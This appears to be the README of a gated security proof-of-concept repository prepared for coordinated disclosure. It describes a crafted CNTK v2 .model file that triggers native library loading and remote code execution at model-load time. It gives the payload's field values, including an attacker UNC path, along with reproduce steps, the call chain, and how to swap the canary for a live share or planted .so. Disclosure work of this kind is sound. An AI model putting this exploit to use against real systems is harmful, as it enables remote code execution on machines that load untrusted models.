⚠️ Security PoC — CNTK v2 .model native-UserFunction RCE (GATED)
This gated repository contains a single crafted CNTK v2 .model demonstrating arbitrary native
library load + call (RCE) at model-load time in microsoft/CNTK. Uploaded solely for coordinated
disclosure via huntr and access-gated to the triage team.
The artifact
evil.model(581 bytes) — a raw protobuf-serializedCNTK.protoDictionary(the on-disk CNTK v2 format for sub-2GB models: no magic/length prefix). It encodes aCompositeFunctionwhose singleprimitive_functions[0]entry is a native UserFunction:type = "UserDefinedFunction",native = true→ routes toFunction::DeserializeNativeImpluser_defined_state.type = "NativeUserDefinedFunction"user_defined_state.module = "\\ATTACKER-CANARY\share\evil.pyd"← attacker-named libraryuser_defined_state.deserialize_method = "Deserialize"← attacker export symboluser_defined_state.op = "EvilNativeOp"← unregistered op → forces the plugin-load branch
The
modulevalue is a benign UNC canary — no payload library exists at that path, so loading the file makes CNTK attempt the remoteLoadLibrary(observable as an SMB/WebDAV fetch toATTACKER-CANARY) without executing attacker code. Swapping in a reachable UNC share / local.dll/.sois what yields full code execution.
Threat model (huntr MFV)
cntk.load_model("evil.model") / cntk.Function.load(...) — the fully public, default-format load
API. No user opt-in, no CLI flag, no callback registration. The native branch fires purely because the
file says native = true.
Reproduce
import cntk
cntk.load_model("evil.model")
# -> Function::Load(CNTKv2) -> CompositeFunction::Deserialize
# -> UDFUtils::Deserialize (IsUDF: type==UserDefinedFunction)
# -> IsNativeUDF (native==true) -> Function::DeserializeNativeImpl
# -> Plugin::Load("\\ATTACKER-CANARY\share\evil.pyd","Deserialize")
# -> LoadLibrary(UNC) + GetProcAddress + CALL ==> native code execution
Windows: .pyd is used verbatim (no suffix mangling); LoadLibrary of the UNC path fetches and
executes DllMain from the remote share — single-file remote RCE.
Linux: point module at a planted absolute-path .so (e.g. /dev/shm/evil.so) → dlopen +
dlsym + call (two-ingredient).
Sink: Source/CNTKv2LibraryDll/UserDefinedFunction.cpp:35-67 · loader Source/Common/File.cpp:1028-1094
· no AllowNative/trusted/safe_load guard exists in CNTKv2LibraryDll (grepped, zero hits).
Verification status (honest)
The .model is encoded faithfully to the real CNTK.proto schema and the exact key / type /
version contract traced from CNTK source (version map-key required per GetVersion; type strings
CompositeFunction / UserDefinedFunction / NativeUserDefinedFunction; required-key sets for each
deserializer). The protobuf wire format was validated by round-trip decode. It was not executed at
runtime — CNTK is archived/EOL (last release 2.7, 2019) and does not build on the disclosure host.
The sink, the full public-API → sink chain, and the absence of any guard are source-confirmed.
CWE-502 + CWE-494 · CVSS ~8.8 (Windows UNC) · RCE.